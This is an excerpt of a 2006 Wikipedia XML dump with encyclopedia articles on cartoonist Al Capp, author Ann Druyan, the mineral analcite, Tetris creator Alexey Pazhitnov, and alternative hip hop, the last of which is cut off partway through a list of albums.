  <page>
    <title>Al Capp</title>
    <id>3012</id>
    <revision>
      <id>38444393</id>
      <timestamp>2006-02-06T09:54:39Z</timestamp>
      <contributor>
        <username>Vulturell</username>
        <id>420178</id>
      </contributor>
      <text xml:space="preserve">'''Al Capp''' ([[September 28]], [[1909]] &amp;ndash; [[November 5]], [[1979]]) was a [[Jewish American]] [[cartoonist]] best known for the [[satire|satiric]] [[comic strip]], ''[[Li'l Abner]]''.  He also wrote the comic strips ''[[Abbie and Slats]]'' and ''[[Long Sam]]''.  His given name was '''Alfred Gerald Caplin'''.  He won the 1947 [[National Cartoonist Society]] [[Reuben Award]] for the comic strip ''Li'l Abner'', and their 1979 [[Elzie Segar]] Award posthumously.

He was a native of [[New Haven, Connecticut|New Haven]], [[Connecticut]].  He lost his right leg in a trolley accident as a young boy. 

After apprenticing with cartoonist [[Ham Fisher]], Capp started ''[[Li'l Abner]]'' in [[1934]].  It started out in the preexisting comic-strip genus of [[hillbilly]] parody, but evolved into one of the most imaginative, popular, and well-drawn strips of the [[20th century]], featuring outlandish characters and bizarre situations.

The comic strip starred Li'l Abner Yokum, the lazy, dumb, but good-natured and strong hillbilly who lived in Dogpatch with Mammy and Pappy Yokum. Whatever energy he had went into evading the marital goals of Daisy Mae, his well-endowed girlfriend, until Capp finally gave in to reader pressure and allowed the couple to marry. This was such big news that the happy couple made the cover of [[Life magazine]].

Abner's home town of Dogpatch was peopled with an assortment of memorable characters, including Marryin' Sam, Wolf Gal, Lena the Hyena, Indian Lonesome Polecat, and a host of others, notably the beautiful, full-figured women Stupefyin' Jones and Moonbeam McSwine.  Perhaps Capp's most popular creations were the [[Shmoo]], creatures whose incredible usefulness and generous nature made them a threat to civilization as we know it.  Another famous character was Joe Btfsplk, who wanted to be a loving friend but was &quot;the world's worst [[jinx]]&quot;, bringing bad [[luck]] to all those nearby. Btfsplk always had a small dark [[cloud]] over his head.

Li'l Abner also featured a comic-strip within the comic-strip ''[[Fearless Fosdick]]'' (a parody of ''[[Dick Tracy]]''). 

The Dogpatch residents regularly combatted the likes of city slickers, business tycoons, government officials and intellectuals with their homespun wisdom and ingenuity.  Situations often took the characters to other parts of the globe, including [[New York City]], tropical islands, and a miserable frozen land of Capp's invention, &quot;Lower Slobovia.&quot;

During and after [[World War II]], Capp worked without pay going to [[hospital]]s to entertain patients, especially to cheer recent amputees and explain to them that the loss of a limb did not mean an end to a happy and productive life.

At its peak, ''Li'l Abner'' was read daily by 70 million Americans (when the US population was only 180 million). Many communities staged &quot;[[Sadie Hawkins]] Day&quot; events, after a similar annual event in the strip in which the tables were turned from what was then the general order of things, and women were allowed to ask men out without any shame or stigma.  A frenetic musical comedy adaptation of the strip opened on [[Broadway theatre|Broadway]] in [[1956]], and was made into a [[motion picture]].

Capp (and a platoon of assistants) kept the strip going through the [[1960s]].  No matter how much help he had, Capp insisted on drawing the faces and hands himself.  [[Frank Frazetta]], later famous as a [[fantasy art]]ist, drew the beautiful women in the strip's later years. 

In the '60s, Capp's politics swung from [[liberalism|liberal]] to [[conservative]], and instead of caricaturing big business types, he began spoofing [[counterculture]] icons such as [[Joan Baez]] (in the character of Joanie Phoanie, a wealthy folksinger who offers an impoverished orphanage one million dollars' worth of &quot;protest songs&quot;). He became a popular speaker on college campuses during the era, attacking anti-war protesters and demonstrators, including [[John Lennon]] and [[Yoko Ono]] at their [[Bed-In|Bed-In for Peace]]. 

In [[1971]], he was charged with the attempted rape of a coed at the [[University of Wisconsin-Madison]]. It developed that there were similar allegations from at least four other campuses. Capp pleaded no contest and withdrew from public speaking. 

''Li'l Abner'' lasted until 1977, and Capp died two years later, at his home in [[South Hampton, New Hampshire]].

In [[1968]] a theme-park called [[Dogpatch USA]] opened at [[Jasper, Arkansas|Jasper]], [[Arkansas]] based on Capp's work and with his support. The park was a popular attraction during the [[1970s]] but was abandoned in [[1993]] due to financial difficulties and remains unused and in disrepair.

His younger brother [[Elliot Caplin]] also became a comic strip creator, best known for writing the [[soap opera]] strip ''[[The Heart of Juliet Jones]]''. 

[[Category:1909 births|Capp, Al]]
[[Category:1979 deaths|Capp, Al]]
[[Category:Amputees|Capp, Al]]
[[Category:Comic strip cartoonists|Capp, Al]]
[[Category:Eisner Award winners|Capp, Al]]
[[Category:Jewish American writers|Capp, Al]]
[[Category:People from Connecticut|Capp, Al]]
[[Category:Reuben Award winners|Capp, Al]]

[[pt:Al Capp]]
[[sv:Al Capp]]</text>
    </revision>
  </page>
  <page>
    <title>Ann Druyan</title>
    <id>3013</id>
    <revision>
      <id>41254315</id>
      <timestamp>2006-02-26T02:20:50Z</timestamp>
      <contributor>
        <ip>83.67.18.69</ip>
      </contributor>
      <text xml:space="preserve">'''Ann Druyan''' (b. [[June 13]], [[1949]]) is an author and media producer known for her involvement in many projects aiming to popularize and explain [[science]]. In her writings, Druyan has stressed the idea that people can have a sense of awe and wonder about the unity of the [[cosmos]] without introducing the concept of [[God]]. Focusing on this sense of awe and wonder, it has been said that Druyan is a [[pantheist]], though she has never explicitly described herself as being such.

Druyan wrote the books ''Comet'' and ''Shadows of Forgotten Ancestors'', as well as sections of ''[[The Demon-Haunted World]]'', with her late husband [[Carl Sagan]].  In addition, she wrote an introduction to ''The Cosmic Connection'' and the epilogue to ''Billions and Billions'', both by Sagan. Alone, she wrote the novel ''A Famous Broken Heart''.

In the areas of film and television, she was one of the writers for the television series ''[[Cosmos: A Personal Voyage|Cosmos]]'', and a producer of the film ''[[Contact (movie)|Contact]]''.  Most recently, she is the CEO and a co-founder of [[Cosmos Studios]]. She also serves as Vice-Chair of the [[NORML]] Foundation Board of Directors.

Other projects that she has been involved in include the selection of the music on the record on the [[Voyager 1]] and [[Voyager 2]] space probes, and the [[Cosmos 1]] spacecraft which intended to demonstrate [[solar sail]] propulsion.

== Quote ==
* I think the roots of this antagonism to science run very deep. They're ancient. We see them in Genesis, this first story, this founding myth of ours, in which the first humans are doomed and cursed eternally for asking a question, for partaking of the fruit of the Tree of Knowledge. It's puzzling that Eden is synonymous with paradise when, if you think about it at all, it's more like a maximum-security prison with twenty-four hour surveillance. It's a horrible place. Adam and Eve have no childhood. They awaken full-grown. What is a human being without a childhood? Our long childhood is a critical feature of our species. It differentiates us, to a degree, from most other species. We take a longer time to mature. We depend upon these formative years and the social fabric to learn many of the things we need to know. --[http://www.csicop.org/si/2003-11/ann-druyan.html Ann Druyan Talks About Science, Religion, Wonder, Awe . . . and Carl Sagan]

==Awards==
*2004 [[Richard Dawkins Award]]

==External links== 	 
* A [http://ffrf.org/fttoday/1998/jan_feb98/druyan.html Speech] given by Ann Druyan at the 1997 annual convention of the [[Freedom From Religion Foundation]].	
* [http://www.csicop.org/si/2003-11/ann-druyan.html Ann Druyan Talks About Science, Religion, Wonder, Awe . . . and Carl Sagan] 
* [http://www.carlsagan.com/revamp/carlsagan/charter.html Cosmos Studios Charter]

[[Category:1949 births|Druyan, Ann]]
[[Category:Atheists|Druyan, Ann]]
[[Category:Living people|Druyan, Ann]]</text>
    </revision>
  </page>
  <page>
    <title>Analcite</title>
    <id>3014</id>
    <revision>
      <id>38740713</id>
      <timestamp>2006-02-08T08:30:29Z</timestamp>
      <contributor>
        <username>Jaraalbe</username>
        <id>261435</id>
      </contributor>
      <comment>Zeolite cat</comment>
      <text xml:space="preserve">{| border=1 cellspacing=0 align=right cellpadding=0 width=250 valign=top style=&quot;margin-left:1em&quot;
|----- align=center bgcolor=&quot;#9966FF&quot;
!colspan=2 align=center|Analcite
|----- align=center
!colspan=2|Picture needed
|----- align=center bgcolor=&quot;#9966FF&quot;
!colspan=2|General
|-----
|Category||[[Mineral]]
|-----
|[[Chemical formula]]||NaAlSi&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;6&lt;/sub&gt;·H&lt;sub&gt;2&lt;/sub&gt;O
|----- align=&quot;center&quot; bgcolor=&quot;#9966FF&quot;
!colspan=2|Identification
|-----
| Color || Colorless to white
|-----
| [[Crystal habit]] || Typically in crystals, usually trpezohedrons, also massive to granular.
|-----
| [[Crystal structure|Crystal system]] ||  [[Cubic (crystal system)|Isometric]]; 4/m bar 3 2/m
|-----
| [[Cleavage (crystal)|Cleavage]]||Absent
|-----
| [[Fracture]]||Uneven
|-----
| [[Mohs Scale]] hardness || 5 - 5.5
|-----
| Luster||Vitreous
|-----
| [[Refractive index]]||n&amp;#945;=1.479 - 1.493 n&amp;#947;=1.480 - 1.494
|----- 
| [[Pleochroism]]|| .
|----- 
| [[Streak]]||white
|----- 
| [[Specific gravity]]|| 2.27
|-----
| [[Fusibility]]||3.5
|-----
| [[Solubility]]||. 
|-----
| Other Characteristics||.
|-----
|}
'''Analcite''' or '''analcime''' (from the [[Greek language|Greek]] ''analkimos'' - &quot;weak&quot;) is a white, grey, or colourless [[Silicate minerals|tectosilicate]] [[mineral]].  Analcite consists of hydrated [[sodium]] [[aluminium]] [[silicate]] in cubic [[crystal]]line form. Its [[chemical formula]] is NaAlSi&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;6&lt;/sub&gt;·[[water (molecule)|H&lt;sub&gt;2&lt;/sub&gt;O]]. Minor potassium and calcium substitute for sodium. A [[silver]] bearing synthetic variety also exists (Ag-analcite).

Analcite is usually classified as a [[zeolite]] mineral, but structurally and chemically it is more similar to the [[feldspathoid]]s. Analcite occurs as a primary mineral in analcme [[basalt]] and other alkaline [[igneous rocks]]. Also occurs as cavity and vesicle fillings associated with [[prehnite]], [[calcite]], and zeolites. 

Locations include the [[Cyclopean Islands]] and near Trentino, [[Italy]]; [[Victoria (Australia)|Victoria]] in [[Australia]]; [[Kerguelen Island]] in the [[Indian Ocean]]; in the [[Lake Superior]] copper district of [[Michigan]], Bergen Hill, [[New Jersey]], [[Golden, Colorado]] in the [[United States]]; and at Cape Blomidon, [[Nova Scotia]] and [[Mont St. Hilaire]], [[Quebec]] in [[Canada]]; and in [[Iceland]].

==See also==
* [[List of minerals]]

== References and external links ==
* Hurlbut, Cornelius S.; Klein, Cornelis, 1985, Manual of Mineralogy, 20th ed., ISBN 0471805807
* [http://mineral.galleries.com/minerals/silicate/analcime/analcime.htm Mineral Galleries]
* [http://www.mindat.org/min-210.html Mindat.org]
* [http://webmineral.com/data/Analcime.shtml Webmineral.com]

[[Category:Sodium minerals]]
[[Category:Aluminium minerals]]
[[Category:Silicate minerals]]
[[Category:Zeolites]]

[[pl:Analcym]]
[[sk:Analcím]]</text>
    </revision>
  </page>
  <page>
    <title>Analcime</title>
    <id>3015</id>
    <revision>
      <id>15901389</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Analcite]].
</text>
    </revision>
  </page>
  <page>
    <title>Alexey Pazhitnov</title>
    <id>3017</id>
    <revision>
      <id>40624510</id>
      <timestamp>2006-02-21T22:28:35Z</timestamp>
      <contributor>
        <username>Alex Bakharev</username>
        <id>294809</id>
      </contributor>
      <comment>rvv</comment>
      <text xml:space="preserve">[[Image:Pazhitnov alexey.jpg|right|thumb|160px|Alexey Pazhitnov]]
'''Alexey Pazhitnov''' (Алексей Пажитнов, born [[1956]], [[Russia]]), whose last name is sometimes transliterated Pajitnov, is a [[Russia|Russian]] [[computer]] engineer, who developed the popular [[game]] ''[[Tetris]]'' while working for the Computer Centre of the [[Soviet Academy of Sciences]], a [[Soviet Union|Soviet]] government-founded [[R&amp;D]] centre.
==Biography==


Pazhitnov created Tetris with the help of [[Dmitry Pavlovsky]] and [[Vadim Gerasimov]] in 1985. The game, first available in the Soviet Union, appeared in [[Western world|the West]] in 1986.
Pazhitnov also created the lesser known sequel to Tetris, entitled [[Welltris]], which has the same principle but in a [[3D computer graphics|three dimensional]] environment were you see the &quot;board&quot; from above. Screen shots are available [http://www.mds.mdh.se/~frv95pen/game/tetris/welltris/ here]
The Soviet [[bureaucracy]] licensed and managed Tetris, and advertised it with the slogan ''&quot;From Russia with Love&quot;''. Because he was employed by the Soviet government, Pazhitnov did not receive royalties. Pazhitnov moved to [[United States|USA]] in 1991 and founded the [[Tetris Company]] with [[Henk Rogers]]. 

He helped design the puzzles in the [[Super Nintendo Entertainment System|Super NES]] versions of [[Yoshi's Cookie]] and designed the game [[Pandora's Box (game)|Pandora's Box]], which incorporates more traditional [[jigsaw puzzle|jigsaw-style puzzles]].

He began working for [[Microsoft]] in [[October]] [[1996]]. He worked for the [[Microsoft Entertainment Pack|Microsoft Entertainment Collection Puzzle Pack]] and [[MSN Mind Aerobics]]. [[As of 2004]], he is part of the [http://zone.msn.com/en/root/default.htm Microsoft's Zone Group], which creates games for [[MSN]].

On [[August 18]] [[2005]] WildSnake Software announced[http://www.wildsnake.com/newsletter/2005-08-18/] Pajitnov will be collaborating with them and releasing a new line up of puzzle games. 

Most recently, Pazhitnov's new, enhanced version of Hexic, &quot;[[Hexic HD]],&quot; was included with every new [[Xbox 360]] Premium package.

==Works==
{|border=&quot;1&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;margin: 1em 1em 1em 0; background: #f9f9f9; border: 1px #aaa solid; border-collapse: collapse; font-size: 95%; text-align: center;&quot;
! Game Name !! First Released !! System Name(s) !! Pazhitnov's Role(s)
|-
! [[Tetris]]
|| 1985 || &lt;small&gt;[[Arcade game|Arcade]], [[Amiga]], [[Atari ST]], [[Commodore 64]], [[DOS]], [[Game Boy]], [[Sega Mega Drive/Sega Genesis|Genesis]], [[Apple_Macintosh|Macintosh]], [[MSX]], [[NES]] &amp; [[ZX Spectrum]]&lt;/small&gt; || &lt;small&gt;Original Concept &lt;br&gt;(with Vadim Gerasimov &amp; Dmitry Pavlovsky)&lt;/br&gt;&lt;/small&gt;
|-
! Welltris
|| 1989 || &lt;small&gt;Amiga, Atari ST, Commodore 64, DOS, Macintosh &amp; ZX Spectrum&lt;/small&gt; || &lt;small&gt;Designer &lt;br&gt;(with Andrei Sgenov)&lt;br/&gt;&lt;/small&gt; 
|-
! Faces
|| 1990 || &lt;small&gt;DOS, Macintosh&lt;/small&gt; || &lt;small&gt;Original Concept &lt;br&gt;(with Vladimir Pokhilko)&lt;br/&gt;&lt;/small&gt;
|-
! Hatris
|| 1990 || &lt;small&gt;PC, Arcade, Game Boy &amp; NES&lt;/small&gt; || &lt;small&gt;Original Concept&lt;/small&gt;
|-
! [[El-Fish]]
|| 1993 || &lt;small&gt;DOS&lt;/small&gt; || &lt;small&gt;Original Concept &lt;br&gt;(with Vladimir Pokhilko)&lt;/br&gt;&lt;/small&gt;
|-
! Breakthru!
|| 1994 || &lt;small&gt;DOS, [[Super Nintendo Entertainment System|SNES]] &amp; [[Windows 3.x]]&lt;/small&gt; || &lt;small&gt;Designer&lt;/small&gt;
|-
! Knight Moves
|| 1995 || &lt;small&gt;[[Microsoft Windows]]&lt;/small&gt; || &lt;small&gt;Idealist&lt;/small&gt;
|-
! Pandora's Box
|| 1999 || &lt;small&gt;Windows&lt;/small&gt; || &lt;small&gt;Designer&lt;/small&gt;
|-
! Microsoft Puzzle Collection Entertainment Pack
|| 2000 || &lt;small&gt;Windows &amp; [[Game Boy Color]]&lt;/small&gt; || &lt;small&gt;Designer&lt;/small&gt; 
|-
! [[Hexic#Hexic HD|Hexic HD]]
|| 2005 || &lt;small&gt;[[Xbox 360]] &lt;br&gt;(Pre-loaded on every Xbox 360 hard drive)&lt;/small&gt; || &lt;small&gt;Designer&lt;br/&gt;&lt;/small&gt; 
|-
|}

==References==
* Angela Gunn (December 9&amp;ndash;15, 1999).  &quot;[http://www.seattleweekly.com/features/9949/tech-gunn2.shtml Game boy]&quot;.  ''[[Seattle Weekly]]''.

==External links==
* [http://www.tetris-today.com/story/original-tetris0.shtml Alexey Pazhitnov - The Father of Tetris]


[[Category:1956 births|Pajitnov, Alexey]]
[[Category:Living people|Pajitnov, Alexey]]
[[Category:Russian scientists|Pajitnov, Alexey]]
[[Category:Computer and video game designers|Pajitnov, Alexey]]
[[Category:Russian people in the United States|Pajitnov, Alexey]]
[[Category:Microsoft employees|Pazhitnov, Alexey]]

[[he:אלקסיי פז'יטנוב]]
[[bg:Алексей Пажитнов]]
[[de:Alexey Pajitnov]]
[[fr:Alexey Pajitnov]]
[[ru:Пажитнов, Алексей Леонидович]]
[[sl:Aleksej Pažitnov]]
[[sv:Aleksej Pajitnov]]</text>
    </revision>
  </page>
  <page>
    <title>Alternative hip hop</title>
    <id>3018</id>
    <revision>
      <id>42109412</id>
      <timestamp>2006-03-03T22:02:56Z</timestamp>
      <contributor>
        <ip>129.64.153.38</ip>
      </contributor>
      <text xml:space="preserve">{{totallydisputed}}
'''Alternative hip hop''' or '''Underground rap''' is a [[musical genre|style]] of [[hip hop music]] distinguished by beats, samples, and lyrics that differ from the general template of popular commercial hip hop.  Positive lyrics are often a hallmark of alternative hip hop, which detract from the materialistic and sexually fueled lyrics of mainstream hip hop.  Although some listeners may associate live instrumentation with alternative hip hop, this distinction is invalid because popular rap acts like [[J-Kwon]] and The Roots use live instruments as well.  Alternative hip hop artists generally have not achieved the same level of mainstream success that commercial rap and other forms of the genre have seen, although they are often critically acclaimed. Interestingly, alternative hip hop has developed differently from virtually every other [[musical genre]], with its originators ([[De La Soul]], [[A Tribe Called Quest]]) being more popular than later innovators ([[Guru (rapper)|Guru]], [[Mos Def]], [[Common]]).  This is why some consider alternative hip hop more a trend than a rigid genre within hip hop.

The term &quot;alternative hip hop&quot;, coined by music scholars, can be considered something of a misnomer: artists labeled as &quot;alternative hip hop&quot; musicians usually record and perform in styles that are more closely related to the original concepts and styles of hip hop music and [[hip hop culture]], as opposed to their more popular [[gangsta rap|commercial counterparts]].  [[DJ Kool Herc]], the inventor of hip hop music, once said in an essay about hip hop, that &quot;it's not about keeping it real.  It's about keeping it right.&quot;  In this sense, many would argue that alternative hip hop might not be so much an alternative as much as it is a continuation of the original concepts and ideals of hip hop. 

==The late 1980s==
{| align=&quot;right&quot;
|-
| [[Image:DeLaSoul3FeetHighandRisingalbumcover.jpg]]
|}Alternative hip hop is usually said to have begun with [[De La Soul]]'s landmark ''[[3 Feet High and Rising]]'' ([[1989]], [[1989 in music]]). The trio's distinctive style, mixing unique sampling sources (such as [[The Turtles]] and [[Johnny Cash]]) with spacey, [[hippie]]-ish lyrics and a sense of humor, made the album a commercial and critical success. With its inclusion of pre-recorded bits from outlandish sources, such as a [[French language]] instruction tape, the release foreshadowed the self-referential [[Sampling (music)|sampling]] kaleidoscope that would soon envelop hip hop (and pop music in general).

In addition to ''3 Feet High and Rising'', influential singles were released one year previously, in [[1988]] (see [[1988 in music]]), by [[Gang Starr]] (&quot;Words I Manifest&quot;) and [[Stetsasonic]] (&quot;Talkin' All That Jazz&quot;); these two singles fused hip hop with jazz in a way never done before, and helped lead to the development of [[jazz rap]].

1989 also saw the release of:
*[[Def Jef]]'s landmark ''[[Just a Poet With a Soul]]'', which included [[Etta James]], an influential [[1960s]] [[soul music|soul]] singer on one track
*[[Gang Starr]]'s debut, ''[[No More Mr. Nice Guy (Gang Starr album)|No More Mr. Nice Guy]]'', which is often considered the first LP to mix hip hop and jazz
*[[Jungle Brothers]]' critically acclaimed second album ''[[Done By the Forces of Nature]]'', which included [[dance music|dance]] beats and achieved some mainstream success
*[[Queen Latifah]]'s [[feminism|feminist]] tract ''[[All Hail the Queen]]''.

==Early 1990s==

During the early [[1990s]], mainstream hip hop was dominated by the [[West Coast hip hop|West Coast]] [[G-Funk]] (like [[Dr. Dre]] and [[Snoop Doggy Dogg]]).  Other artists found success difficult to achieve, though some East Coast acts, such as [[Puff Daddy]]'s empire of [[East Coast hip hop]] artists ([[Bad Boy Records]]) gained chart success ([[Mary J. Blige]]'s [[1992]] ''[[What's the 411?]]'') as well as critical success ([[Nas (rapper)|Nas]]'s [[1994]] ''[[Illmatic]]''), though rarely both at the same time.

===The Underground Emerges===
{| align=&quot;left&quot;
|-
| [[Image:Innercity_griots.jpg]]
|}
While [[gangsta rap]] dominated the charts, the East Coast alternative sound began to lose its luster. Strangely enough, underground hip hop, as we know it today, was born on the streets of South Central Los Angeles, best represented by the seminal [[Freestyle Fellowship]]. Consisting of members Aceyalone, Mikah 9, P.E.A.C.E., and Self Jupiter, the [[Freestyle Fellowship]] married conscious lyrics with spectacular, jazz-like rhyme cadences. Their &quot;[[To Whom It May Concern]]&quot; and &quot;[[Innercity Griots]]&quot; albums remain as the most influential albums in the history of underground hip hop. Furthermore, the DIY ethic of selling tapes and CDs &quot;out of the trunk&quot; to record stores and directly to fans would soon be adopted by the underground rappers around the world.

Spurred by the Freestyle Fellowship, other West Coast artists like [[The Pharcyde]] (''[[Bizarre Ride II the Pharcyde]]'', [[1992]]) and the [[Disposable Heroes of Hiphoprisy]] (''[[Hypocrisy Is the Greatest Luxury]]'', [[1992]]) also rose to prominence in the field. Despite the popularity of Bay Area [[Booty Rap]]per [[Too Short]], Oakland gave birth to underground artists [[Del tha Funkee Homosapien]] (cousin to [[Gangsta Rap]]per [[Ice Cube]]) and [[Souls of Mischief]] with their seminal album (&quot;[[93 'til Infinity]]&quot;).  Alongside these West Coast groups were generally more popular East Coast groups like [[A Tribe Called Quest]] (''[[People's Instinctive Travels and the Paths of Rhythm]]'', [[1990]]) and [[Gang Starr]] (''[[Step in the Arena]]'', [[1991]]). International groups, like Britain's [[The Brand New Heavies]] (''[[Heavy Rhyme Experience, Vol. 1]]'', [[1992]]) and [[Massive Attack]] (''[[Blue Lines]]'', [[1991]]) helped combine hip hop with [[R&amp;B]] and [[electronica]], respectively.

A Tribe Called Quest's [[1991]] album ''[[The Low-End Theory]]'' is regarded as one of the most influential recordings in alternative hip hop, especially with its timely indictment of the perceived commercializing and demoralizing effects of the music industry, then tearing hip hop apart into multiple competing genres, all rushing to sell out for mainstream success; the album also tackles subjects like [[date rape]] and [[rap feud]]s.  ''The Low End Theory'' includes the legendary [[upright bass]]ist [[Ron Carter]] and the [[Leaders of the New School]] (which included future superstar [[Busta Rhymes]]).

While A Tribe Called Quest and De La Soul are considered jazz-rappers, the pioneer of an actual fusion between the two genres is unquestionably the Freestyle Fellowship. Their collaborations with live jazz bands, including the likes of [[Horace Tapscott]], date back to 1990. This inspired other artist s like [[Guru (rapper)|Guru]], whose [[1993]] ''[[Jazzmatazz, Vol. 1]]'' was a critically acclaimed solo debut with live jazz backing.  A jazz band including [[Lonnie Liston Smith]], [[Roy Ayers]], [[Branford Marsalis]] and [[Donald Byrd]] solos in the background while Guru (and guests like the [[Senegal]]ese-[[France|French]] [[MC Solaar]]) raps. 

Stubbornly insisting on sticking to their themes and ideas, alternative hip hop artists were able to incorporate elements of virtually every form of music around at the time.
{| align=&quot;right&quot;
|-
| [[Image:ArrestedDevelopment3Years,5Months&amp;2DaysintheLifeOf....jpg]]
|}
Meanwhile, [[Christian hip hop]] group and pioneering [[Southern rap]] crew [[Arrested Development (rap)|Arrested Development]] scored big with [[1992]]'s ''[[3 Years, 5 Months and 2 Days in the Life of...]]'', which put Southern hip hop on the map.  The album was particularly successful with non-hip hop fans, listeners who were turned off by the macho posturing of many other groups, and who wanted a safer alternative.  Arrested Development's focus on peace and love and groovy beats made them relatively accessible, though their devout [[Christianity]] (reflected in the lyrics) also made them unattractive to some audiences.

==Genres related to alternative hip hop==
''Alternative hip hop'' generally refers to a specific style of hip hop that is opposed to the mainstream sounds of [[gangsta rap]].  However, certain other hip hop fusion genres are closely related to this genre, including a mixture of [[1970s]]-style [[soul music]] and hip hop called [[neo soul]].

===Neo soul===
[[Image:LaurynHillTheMiseducationofLaurynHillalbumcover.jpg|right]]
Hip hop also influenced [[R&amp;B]] music in the 1990s. By the time hip hop began to enter the mainstream, R&amp;B was rapidly losing its most legendary artists. While [[Michael Jackson]], [[Prince (artist)|Prince]], [[Tina Turner]] and [[Whitney Houston]] remained popular, the genre was seen as stunted and atrophied.  Soon after, hip hop began to dominate what mainstream audiences thought of as ''African-American music'' with the release of [[Dr. Dre]]'s blockbuster ''[[The Chronic]]''.  R&amp;B became less popular among mainstream audiences, and several of the groups achieving commercial success mostly failing to find critical acclaim.  The groups that did succeed incorporated hip hop beats and [[doo wop]] influences; these include [[Guy]] (''[[The Future (album)|The Future]]'', [[1990]]) and [[Boyz II Men]] (''[[Cooleyhighharmony]]'', [[1991]]).  [[Mary J. Blige]]'s ''[[What's the 411?]]'' from [[1992]] was especially innovative, and lead to a style of [[R&amp;B]] called [[hip hop soul]] that was popular during the early to mid 1990s.

During the mid- to late 90s, the hip hop soul sound was blended with a retro 1970s [[soul music]] feel, resulting in a new genre called ''neo soul''.  Widely regarded as a pioneer of the genre, [[D'Angelo]]'s [[1995]] ''[[Brown Sugar]]'' was profoundly influential in its development, while a group of female artists like [[Erykah Badu]] (''[[Baduizm]]'', [[1997]]), [[Lauryn Hill]] (''[[The Miseducation of Lauryn Hill]]'', [[1998]]) and [[Macy Gray]] (''[[On How Life Is]]'', [[1999]]) began its popularization soon after.  Around and immediately after the turn of the decade, a second wave of female artists moved neo soul into the mainstream, especially [[Alicia Keys]]' ''[[Songs in A Minor]]'' ([[2001]]), as well as [[india.arie]]'s ''[[Acoustic Soul]]'' ([[2001]]) and [[Jill Scott]]'s ''[[Who Is Jill Scott?: Words and Sounds, Vol. 1]]'' ([[2000]]).  Critical reviews were mixed, with many listeners feeling that neo soul had lost its pioneering edge for middle-class shallow idealism.

==The end of the 1990s==

In spite of neo soul gaining mainstream acceptance, gangsta hip hop artists like [[Jay-Z]] (''[[Reasonable Doubt]]'', [[1996]]) and [[DMX_(rapper)|DMX]] (''[[And Then There Was X|...And Then There Was X]]'', [[1999]]) still dominated the charts as the end of the millennium neared.  Critics and listeners regarded alternative hip hop as going through a lull, as even mainstays like A Tribe Called Quest (''[[Beats, Rhymes and Life]]'', [[1996]]) released lackluster albums.

[[Image:MosDef&amp;TalibKweliBlackStar.jpg|left]]
Many observers feel that [[Dr. Octagon]]'s seminal [[1996]] album ''[[Dr. Octagonecologyst]]'' revitalized hip hop's underground; [[Company Flow]]'s ''[[Funcrusher Plus]]'' is another album cited as redefining the genre. [[Del tha Funkee Homosapien]] paired with Kool Keith's (aka Dr. Octagon) producer [[Dan the Automator]] to make [[Deltron 3030]], who pushed the boundaries of hip hop to other universes and times.  Alternative hip hop soon began to lose its recent stylings for a return to [[Native Tongues]]-style [[old school hip hop|old school]] with [[hardcore hip hop|hardcore]] and [[jazz]] elements mixed in. The hip hop band, [[The Roots]] were among the leaders of the second alternative hip hop wave, dropping several critically acclaimed albums in the mid to late 90s, including ''Do You Want More?!!!??!'' ([[1995]]), ''Illadelph Halflife'' ([[1996]]), and the breakthrough, ''Things Fall Apart'' in [[1999]]. On the West Coast, [[Ozomatli]]'s self titled 1998 release fused latin and funky beats with hip hop in a groundbreaking way.

[[Mos Def]] and [[Talib Kweli]]'s [[1998]] ''[[Black Star (album)|Black Star]]'' also contributed greatly to this evolution, with its return to Native Tongues-style old school hip hop.  Mos Def's solo debut, ''[[Black on Both Sides]]'' ([[1999]]), quickly established him as a darling of alternative media for its incendiary politics, while Kweli's solo career took some time to get off the ground; as he didn't appear until [[2000]]'s ''[[Reflection Eternal]]'', with partner [[Hi-Tek]].  [[Pharaoh Monch]]'s ''[[Internal Affairs]]'', his 1999 solo debut after leaving [[Organized Konfusion]], also added more gangsta and hardcore hip hop elements to the mix.  

Following in the footsteps of the Freestyle Fellowship were [[Jurassic 5]] (''[[Jurassic 5 EP]]'') and [[Dilated Peoples]] (''[[The Platform]]''), who  continued mixing [[funk]] and [[hip hop music]] to critical acclaim and popular rejection.  The Bay area gave birth to highly experimental artists like [[Blackalicious]] with ''[[Nia]]'', as well as [[Lyrics Born]], [[Lateef the Truth Speaker]], and the [[Hieroglyphics]] Crew.

This period was also the high point for Hip Hop's DJ scene.  The [[Invisibl Skratch Piklz]] and artists such as [[Cut Chemist]], [[Dan the Automator]], [[DJ Shadow]], [[Mix Master Mike]], [[DJ Qbert]], and many others put a lasting stamp on [[turntablism]] and its emerging genre.

==Post-2000 alternative hip hop==

After the turn of the millennium, as the United States (still by far the world capital of hip hop) found itself confronted by the [[War on Terrorism|War on Terror]], lyrics grew increasingly anti-mainstream, with some advocating radical actions on the behalf of various [[anarchism|anarchist]] and [[socialism|socialist]] ideas.  The cover for the album ''[[Party Music]]'' ([[2001]]) by the openly marxist band, [[The Coup]], proved controversial after the [[September 11, 2001 attacks]] due to its depiction of the duo holding a stick of dynamite and a detonator, ready to blow up the [[World Trade Center]] (though the band itself had been well known in alternative hip hop circles since the early 1990s); other groups like [[Dead Prez|Dead Prez]] (''[[Let's Get Free]]'', [[2000]]), [[Mr. Lif]] with his EP, ''[[Emergency Rations]]'', and [[Emcee Lynx]] (''[[The Black Dog EP]]'', 2003, and ''[[The UnAmerican LP]]'', 2004) similarly raised controversy with militant and confrontational lyrics.  

In [[2001]] and [[2002]], several popular albums were released.  These included:
*[[AWOL One &amp; Daddy Kev]] - ''[[Souldoubt]]''
*[[Blackalicious]] - ''[[Blazing Arrow]]''
*[[Black Eyed Peas]] - ''[[Elephunk]]''
*[[Busdriver]] - ''[[Temporary Forever]]''
*[[Common (rapper)|Common]] - ''[[Electric Circus]]''.
*[[The Coup]] - ''[[Steal This Double Album]]''
*[[Daddy Kev]] - ''[[Lost Angels EP]]''
*[[Hi-Tek]] - ''[[Hi-Teknology]]''
*[[Jurassic 5]] - ''[[Power in Numbers]]''
*[[The Roots]] - ''[[Phrenology (album)|Phrenology]]''
*[[Talib Kweli]] - ''[[Quality (album)|Quality]]''
*[[Aesop Rock]] - [[Labor Days]]

